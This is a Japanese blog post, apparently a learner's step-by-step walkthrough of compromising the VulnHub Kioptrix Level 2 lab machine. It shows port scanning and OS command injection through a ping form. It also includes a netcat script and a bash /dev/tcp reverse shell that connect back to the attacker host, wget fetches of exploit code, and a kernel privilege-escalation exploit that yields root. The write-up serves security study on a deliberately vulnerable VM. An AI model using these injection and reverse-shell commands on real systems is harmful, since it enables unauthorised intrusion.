LoginSignup
3
1

More than 3 years have passed since last update.

White Hat への道 - Kioptrix Level 2 VulnHub

Last updated at Posted at 2020-09-10

White Hat Hackerになるまでの道のりを記しておく。

実際になったわけではなく、なるために勉強をすすめる際のメモを残しておこうと思う。

色々調べていると VulnHubというサイトにたどり着く。

ここにはチャレンジ用のVMがたくさんアップロードされている。今回はその中でも有名なKioptrixさんのシリーズもの第二弾(Level2)。
https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

ちなみに、Level1はクリア済みのため、別の機会に記そうと思う。

最近ガチでハマっているので自分のたどり着いた答えまでの道のりをメモしておこうと思う。

はじめに断っておくが、noobなので無意味で意味不明な行動ややオプション指定などがあるかもしれない。気づいた人はぜひ指摘いただきたい。

ターゲットのホストを探す

kali@kali:~$ nmap -sP 10.10.10.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 21:21 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.2
Host is up (0.0010s latency).
Nmap scan report for 10.10.10.4
Host is up (0.00081s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.92 seconds

2つのホストが見つかった。もしかして一つは自分かも? チェックしてみる。

kali@kali:~$ sudo ifconfig -a
[sudo] kali のパスワード:
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.2  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 fe80::a00:27ff:fe4b:3ae6  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:4b:3a:e6  txqueuelen 1000  (イーサネット)
        RX packets 18603  bytes 6057742 (5.7 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 30993  bytes 3598302 (3.4 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

10.10.10.2は自分だったので、ターゲットは10.10.10.4。

オープンポートを探す

またもや、nmapの登場。脆弱性のヒントを探していく。

kali@kali:~$ nmap -A -T4 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 21:38 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.4
Host is up (0.010s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)
| ssh-hostkey: 
|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp  open  rpcbind    2 (RPC #100000)
443/tcp  open  ssl/https?
|_ssl-date: 2020-09-10T01:39:07+00:00; +13h00m03s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|_    SSL2_RC4_128_WITH_MD5
631/tcp  open  ipp        CUPS 1.1
| http-methods: 
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
3306/tcp open  mysql      MySQL (unauthorized)

Host script results:
|_clock-skew: 13h00m02s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.99 seconds

手がかりを探す

port80がopenなのでとりあえずアクセスしてみる。

kali@kali:~$ firefox 10.10.10.4

スクリーンショット 2020-09-09 21.50.31.jpg

非常に怪しい。SQL Injectionしてみる。
いろいろ試して下記にたどり着く。

スクリーンショット 2020-09-09 21.55.35.jpg

スクリーンショット 2020-09-09 21.57.46.jpg

いかにも脆弱性ありますよ、と言わんばかりの画面が出現。
pingできると書いてあるので何も考えずにやってみる。 Loopback Address の127.0.0.1で試す。

スクリーンショット 2020-09-09 22.00.08.jpg

スクリーンショット 2020-09-09 22.00.17.jpg

無事、自分にping発行できたっぽい。 こうなればOS Command Injectionをやってみたくなる。 

127.0.0.1; whoami

スクリーンショット 2020-09-09 22.06.25.jpg

できた! apacheユーザーで実行されていることがわかった。
しかし、これ以降でかなりつまずいた。

wheelユーザーにadduserしようとしてもできず、いろいろ試したが自分の実力では先に進めない。 さきほどapacheのバージョンの箇所に「centos」の文字が見えたので、

127.0.0.1;cat /etc/centos-release

とやってみたが何も表示されない。
centosのバージョンを表示させるコマンドをググって、色々試してみる。

127.0.0.1;lsb_release

だめ。次。

127.0.0.1; rpm -q centos-release

スクリーンショット 2020-09-09 22.13.45.jpg

おぉ。
あなたは centos-release-4-4.3 だったんですね。

ぐぐると現在の最新は CentOS 8 っぽいのでかなり古そう。
脆弱性を検索してみる。

kali@kali:~$ searchsploit centos 4.4
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                          |  Path
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege  | linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege E | linux_x86/local/9542.c
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

使えそうなのが2つヒットした。

kali@kali:~$ searchsploit centos 4.4 -w
------------------------------------------------------------------------------------------------------------- --------------------------------------------
 Exploit Title                                                                                               |  URL
------------------------------------------------------------------------------------------------------------- --------------------------------------------
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 | https://www.exploit-db.com/exploits/9479
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0  | https://www.exploit-db.com/exploits/9542
------------------------------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results

Brute-force的に試してみよう。。。。
と思ったが、これそもそもターゲットマシンでコンパイルしないと動かないタイプのやつっぽい。
どうやってファイル転送してコンパイルするか。 さっきのOS Command Injection でwgetできる?

kali@kali:~$ locate linux/local/9479.c
/usr/share/exploitdb/exploits/linux/local/9479.c
kali@kali:~$ python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
127.0.0.1; wget http://10.10.10.2:8081/9479.c -o /tmp/9479.c

スクリーンショット 2020-09-09 22.46.50.jpg

stdoutには何も表示されていないが、、、。

127.0.0.1; ls -l /tmp/

スクリーンショット 2020-09-09 22.48.38.jpg

お? コピーできたか? 中身を覗いてみる。

127.0.0.1; cat /tmp/9479.c

スクリーンショット 2020-09-09 22.53.27.jpg

ん??? 「Connecting to 10.10.10.2:8081...」ってなってる。しかも404エラー。なぜか、catで中身が表示されないし、動きも奇妙。。。 困り果てる。

9049.cの使い方をググってみることにする。ターゲット(remote host)へつなぐサンプルが見つかる。

In order to use this exploit, it needs to be on the target machine. The easiest way to accomplish this is to host the file on a local Apache server on our Kali machine, connect to the server from the target machine, and ultimately download the file. Before we do that, though, a few preparatory steps need to be taken.

#! /bin/bash
nc 172.16.1.100 4321 -e /bin/bash

When this file is executed, it will use Netcat to connect to Kali's IP address on port 4321 and spawn a shell. Press Ctrl-X, Y, and Enter to save.

127.0.0.1; echo -e '#!/bin/bash \nnc 10.10.10.4 4321 -e /bin/bash' > /tmp/connect

だめ。

127.0.0.1; echo -e '#!/bin/bash \nnc -l 60000 -e /bin/bash' > /tmp/connect

これもだめ。nmapでport 60000をスキャンしたがclosedのまま。

しばらく、Googleで調べる時間が続きます。 おそらく、こういう調べる時間が、知識を増やす上で重要な時間な気がする。(と、思いたいくらい大変。。。)

Google検索で:「linux hack remote host exec command without bash」と調べていると、「reverse shells」なるものを発見。 良さげな気がする!

A reverse shell is a shell session established on a connection that is initiated from a remote machine, not from the local host. Attackers who successfully exploit a remote command execution vulnerability can use a reverse shell to obtain an interactive shell session on the target machine and continue their attack. A reverse shell (also called a connect-back shell) can also be the only way to gain remote shell access across a NAT or firewal

...

Reverse shells are often the only way to perform remote maintenance on hosts behind a NAT, so they have legitimate administrative uses. However, they can also be used by cybercriminals to execute operating system commands on hosts protected from incoming connections by a firewall or other network security systems.

...

When attempting to compromise a server, an attacker may try to exploit a command injection vulnerability on the server system.

早速試す!

Reverse Shell Code Examples

まずはnetcatで自分のマシンで接続するためのポートをLISTENする。

kali@kali:~$ ncat -l -p 8888
bash: ncat: コマンドが見つかりません

おいっ! Googleで「ncat kali linux」とすかさずググる。
「ncat」ではなく「nc」で行けそう。
https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-netcat-swiss-army-knife-hacking-tools-0148657/

kali@kali:~$ nc -l -p 8888

stdoutには何も表示されない。動いてるのか? 

kali@kali:~$ netstat -lntp
(一部のプロセスが識別されますが, 所有していないプロセスの情報は
表示されません。それら全てを見るにはルートになる必要があります.)
稼働中のインターネット接続 (サーバのみ)
Proto 受信-Q 送信-Q 内部アドレス            外部アドレス            状態        PID/Program name    
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      8786/nc             
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:5432                :::*                    LISTEN      -                   
kali@kali:~$ 

調べるとnetstatってobsoleteらしい。代わりのコマンドは「ss」らしいので「ss」ってみる。
https://linux.die.net/man/8/netstat

kali@kali:~$ ss -lt
State            Recv-Q           Send-Q                     Local Address:Port                             Peer Address:Port           Process           
LISTEN           0                1                                0.0.0.0:8888                                  0.0.0.0:*                                
LISTEN           0                244                            127.0.0.1:postgresql                            0.0.0.0:*                                
LISTEN           0                244                                [::1]:postgresql                               [::]:*                                
kali@kali:~$ 

8888でLISTEN になってる。行けるかわからんがとにかく続ける。

次にリモートマシンで下記のサイトにあるチートコマンドを実行。
(10.10.10.2は自分のマシンのIP)

127.0.0.1; bash -i >& /dev/tcp/10.10.10.2/8888 0>&1

スクリーンショット 2020-09-10 20.41.27.jpg

何も表示されない。というか、PINGの結果も表示されていない。いつもと何かが違う。
他に変わったことがないか、netcatのコマンドプロンプトも見てみると、「bash-3.00$」と表示されている!!「whoami」してみると「apache」。これは行ける!

kali@kali:~$ nc -l -p 8888
bash: no job control in this shell
bash-3.00$ 
bash-3.00$ bash-3.00$ whoami
apache
bash-3.00$ 
bash-3.00$ cd /tmp
bash-3.00$ pwd
/tmp
bash-3.00$ ls -l
total 4
-rw-r--r--  1 apache apache 207 Sep  9 22:46 9479.c
bash-3.00$ gcc -o 9479 9479.c
9479.c:1: error: syntax error before '--' token
9479.c:2: error: stray '`' in program
9479.c:2:16: invalid suffix "c" on floating constant
9479.c:2: error: missing terminating ' character
9479.c:3:15: too many decimal points in number
9479.c:3:26: too many decimal points in number
bash-3.00$ 

コンパイルエラー。。。でも、コンパイルできそうなことがわかったので、別のexploitを試す。

kali@kali:~$ locate linux_x86/local/9542.c
/usr/share/exploitdb/exploits/linux_x86/local/9542.c
kali@kali:~$ cp /usr/share/exploitdb/exploits/linux_x86/local/9542.c .
kali@kali:~$ 
kali@kali:~$ python -m SimpleHTTPServer 8081 
Serving HTTP on 0.0.0.0 port 8081 ...
bash-3.00$ wget http://10.10.10.2:8081/9542.c
--01:11:01--  http://10.10.10.2:8081/9542.c
           => `9542.c'
Connecting to 10.10.10.2:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,643 (2.6K) [text/plain]
9542.c: Permission denied

Cannot write to `9542.c' (Permission denied).
bash-3.00$ 
bash-3.00$ ls -la
total 24
drwxr-xr-x  2 root root 4096 Oct  8  2009 .
drwxr-xr-x  8 root root 4096 Oct  7  2009 ..
-rwxr-Sr-t  1 root root 1733 Feb  9  2012 index.php
-rwxr-Sr-t  1 root root  199 Oct  8  2009 pingit.php
bash-3.00$ pwd
/var/www/html
bash-3.00$ 

なるほど、書き込みできないので、/tmpで再トライ。

bash-3.00$ cd /tmp
bash-3.00$ wget http://10.10.10.2:8081/9542.c
--01:12:55--  http://10.10.10.2:8081/9542.c
           => `9542.c'
Connecting to 10.10.10.2:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,643 (2.6K) [text/plain]

    0K ..                                                    100%   32.31 MB/s

01:12:55 (32.31 MB/s) - `9542.c' saved [2643/2643]

コンパイルして実行する

bash-3.00$ gcc -o 9542 9542.c && 9542
9542.c:109:28: warning: no newline at end of file
bash: 9542: command not found
bash-3.00$ 
bash-3.00$ 
bash-3.00$ ls
9479.c
9542
9542.c
bash-3.00$ ./9542
[-] exploit failed, try again
bash-3.00$

だめ。別のexploitを試すため、再度検索をする。

kali@kali:~$ searchsploit Centos 4
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                          |  Path
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
CentOS 7.6 - 'ptrace_scope' Privilege Escalation                                                                        | linux/local/46989.sh
CentOS Control Web Panel 0.9.8.836 - Authentication Bypass                                                              | linux/webapps/47123.txt
CentOS Control Web Panel 0.9.8.836 - Privilege Escalation                                                               | linux/webapps/47124.txt
CentOS Control Web Panel 0.9.8.838 - User Enumeration                                                                   | linux/webapps/47125.txt
CentOS Web Panel 0.9.8.12 - 'row_id' / 'domain' SQL Injection                                                           | php/webapps/43855.txt
CentOS Web Panel 0.9.8.12 - Multiple Vulnerabilities                                                                    | php/webapps/43850.txt
Centos Web Panel 0.9.8.480 - Multiple Vulnerabilities                                                                   | php/webapps/45610.txt
CentOS Web Panel 0.9.8.740 - Cross-Site Request Forgery / Cross-Site Scripting                                          | php/webapps/45822.txt
CentOS Web Panel 0.9.8.763 - Persistent Cross-Site Scripting                                                            | linux/webapps/46349.txt
CentOS Web Panel 0.9.8.789 - NameServer Field Persistent Cross-Site Scripting                                           | linux/webapps/46629.txt
CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scripting                                              | linux/webapps/46669.txt
CentOS Web Panel 0.9.8.793 (Free) / v0.9.8.753 (Pro) / 0.9.8.807 (Pro) - Domain Field (Add DNS Zone) Cross-Site Scripti | linux/webapps/46784.txt
Centos WebPanel 7 - 'term' SQL Injection                                                                                | linux/webapps/48212.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64 Stac | linux_x86-64/local/42275.c
Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.0/6.8/7.2.1511) - 'ldso_hwcap Stack Clash' Local Pr | linux_x86/local/42274.c
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local | linux/local/9545.c
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege  | linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege E | linux_x86/local/9542.c
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1)                                   | linux/local/25444.c
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation  | linux/local/45516.c
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'aiptek' Nullpointer Dereference                                              | linux/dos/39544.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'cdc_acm' Nullpointer Dereference                                             | linux/dos/39543.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'cypress_m8' Nullpointer Dereference                                          | linux/dos/39542.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'mct_u232' Nullpointer Dereference                                            | linux/dos/39541.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - visor clie_5_attach Nullpointer Dereference                                   | linux/dos/39540.txt
Linux Kernel 3.10.0 (CentOS 7) - Denial of Service                                                                      | linux/dos/41350.c
Linux Kernel 3.10.0-229.x (CentOS / RHEL 7.1) - 'iowarrior' Driver Crash (PoC)                                          | linux/dos/39556.txt
Linux Kernel 3.10.0-229.x (CentOS / RHEL 7.1) - 'snd-usb-audio' Crash (PoC)                                             | linux/dos/39555.txt
Linux Kernel 3.10.0-514.21.2.el7.x86_64 / 3.10.0-514.26.1.el7.x86_64 (CentOS 7) - SUID Position Independent Executable  | linux/local/42887.c
Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escalation                                           | linux/local/35370.c
Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP Bypass) Arbitrary File Read                               | linux/local/45175.c
Pure-FTPd 1.0.21 (CentOS 6.2 / Ubuntu 8.04) - Null Pointer Dereference Crash (PoC)                                      | linux/dos/20479.pl
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
kali@kali:~$ 
kali@kali:~$ locate linux/local/9545.c
/usr/share/exploitdb/exploits/linux/local/9545.c
kali@kali:~$ 
kali@kali:~$ cp /usr/share/exploitdb/exploits/linux/local/95
950.c     9513.c    9521.c    9543.c    9545.c    9574.txt  9575.c    9595.c    9598.txt  
kali@kali:~$ cp /usr/share/exploitdb/exploits/linux/local/9545.c .
kali@kali:~$ 
bash-3.00$ wget http://10.10.10.2:8081/9545.c
--01:31:31--  http://10.10.10.2:8081/9545.c
           => `9545.c'
Connecting to 10.10.10.2:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,783 (9.6K) [text/plain]

    0K .........                                             100%   42.60 MB/s

01:31:31 (42.60 MB/s) - `9545.c' saved [9783/9783]

bash-3.00$ 
bash-3.00$ pwd
/tmp
bash-3.00$ gcc -o 9545 9545.c && 9545
9545.c:376:28: warning: no newline at end of file
bash: 9545: command not found
bash-3.00$ ls -l
total 36
-rw-r--r--  1 apache apache  207 Sep  9 22:46 9479.c
-rwxr-xr-x  1 apache apache 6932 Sep 10 01:26 9542
-rw-r--r--  1 apache apache 2643 Sep 10  2020 9542.c
-rwxr-xr-x  1 apache apache 6762 Sep 10 01:32 9545
-rw-r--r--  1 apache apache 9783 Sep 10  2020 9545.c
bash-3.00$ ./9545
sh: no job control in this shell
sh-3.00# 

できたっ!! 「sh-3.00#」と表示されているやないかい!

sh-3.00# id 
uid=0(root) gid=0(root) groups=48(apache) 

お疲れさまでした!!

3
1
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1